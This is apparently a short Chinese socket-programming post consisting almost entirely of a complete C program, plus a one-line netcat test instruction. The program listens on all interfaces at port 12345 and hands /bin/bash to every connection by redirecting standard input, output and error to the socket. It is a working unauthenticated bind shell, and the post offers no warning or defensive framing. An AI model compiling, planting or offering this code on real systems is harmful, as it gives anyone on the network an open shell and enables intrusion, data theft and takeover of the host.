Linux Socket编程bash服务程序

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>

#define SA struct sockaddr
#define err(msg) perror(msg)

static int tcp_listen(const char *ip, int port)
{
    struct sockaddr_in addr;
    int fd;
    int on = 1;

    if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    {
        err("socket");
        goto out;
    }
    setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));

    memset(&addr, '\0', sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    if (inet_pton(AF_INET, ip, &addr.sin_addr) <= 0)
    {
        err("inet_pton");
        goto err;
    }

    if (bind(fd, (SA *)&addr, sizeof(addr)) == -1)
    {
        err("bind");
        goto err;
    }
    if (listen(fd, 1024) == -1)
    {
        err("listen");
        goto err;
    }

    return fd;
err:
    close(fd);
out:
    return -1;
}

static void handle_connect(int connfd)
{
    char *shell[2];
    pid_t pid;
    int i;
    char *envp[10];

    for (i = 0; i < 10; i++)
        envp[i] = NULL;


    if ((pid = fork()) == 0)
    {
        if (dup2(connfd, STDIN_FILENO) == -1)
            perror("dup2");
        if (dup2(connfd, STDOUT_FILENO) == -1)
            perror("dup2");
        if (dup2(connfd, STDERR_FILENO) == -1)
            perror("dup2");

        execl("/bin/bash", "/bin/bash", 0);
    }
    else if (pid > 0)
        close(connfd);
}

static void start_loop(int fd)
{
    int connfd;

    for (;;)
    {
        if ((connfd = accept(fd, NULL, NULL)) == -1)
        {
            err("accept");    
            continue;
        }

        handle_connect(connfd);
    }
}

int main(int argc, char **argv)
{
    int fd;

    if ((fd = tcp_listen("0.0.0.0", 12345)) == -1)
    {
        err("tcp_listen");
        goto out;
    }
    
    start_loop(fd);
    close(fd);
    return 0;
out:
    return -1;
}

使用netcat 127.0.0.1 12345进行测试